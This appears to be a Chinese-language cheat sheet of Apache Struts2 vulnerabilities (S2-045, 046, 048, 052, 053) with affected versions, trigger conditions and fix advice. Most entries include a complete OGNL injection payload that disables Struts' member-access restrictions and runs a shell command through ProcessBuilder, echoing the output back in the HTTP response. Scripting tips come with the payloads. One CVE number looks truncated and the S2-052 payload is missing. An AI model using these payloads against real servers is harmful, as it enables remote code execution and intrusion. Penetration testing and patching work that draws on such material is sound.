#Struts2-045'''CVE-2017-5638影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10触发条件:基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行利用方法:构造Content-type的值测试POC:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}修复建议:1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。2. 如果您使用基于Jakarta插件,请升级到最新版本。(强烈推荐)'''#struts2-046'''CVE-2017-5638影响范围:Struts 2.3.5 – Struts 2.3.31,Struts 2.5 –Struts 2.5.10测试POC:Content-Length:10000000filenname="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"服务端返回500修复建议:1. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)'''#Struts2-048 '''CVE-2017-979影响范围:Struts2 2.3.x触发条件:Struts2 2.3.x 系列启用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目录触发参数:name测试POC:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}注意:写脚本时需要将payload进行url编码(常识)修复建议:1、临时解决方案:通过使用 resourcekeys 替代将原始消息直接传递给 ActionMessage 的方式。如下所示:messages.add(“msg”,new ActionMessage(“struts1.gangsterAdded”, gform.getName()));一定不要使用如下的方式messages.add(“msg”,new ActionMessage(“Gangster ” + gform.getName() + ” was added”));2、无奈解决方案:不启用struts2-struts1-plugin插件;3、根本解决方案:建议升级到最新版本'''#Struts2-052'''CVE-2017-9805影响范围:Struts 2.5 – Struts 2.5.12 漏洞描述:问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。利用条件:需要修改Content-Type: application/xml测试POC:修复建议:1.建议尽快升级到最新版本;2.在不使用时删除 Struts REST插件,或仅限于服务器普通页面和JSONs:'''#Struts2-053'''CVE-2017-12611影响范围:Struts2 2.0.1 – Struts2 2.3.33,Struts2 2.5 – Struts2 2.5.10当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当做表达式进行执行,最后导致代码执行。触发条件:struts2框架、freemarker标签中使用错误的构造测试POC:%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}注意:写脚本时需要将payload进行url编码(常识)修复建议:建议升级到最新版本'''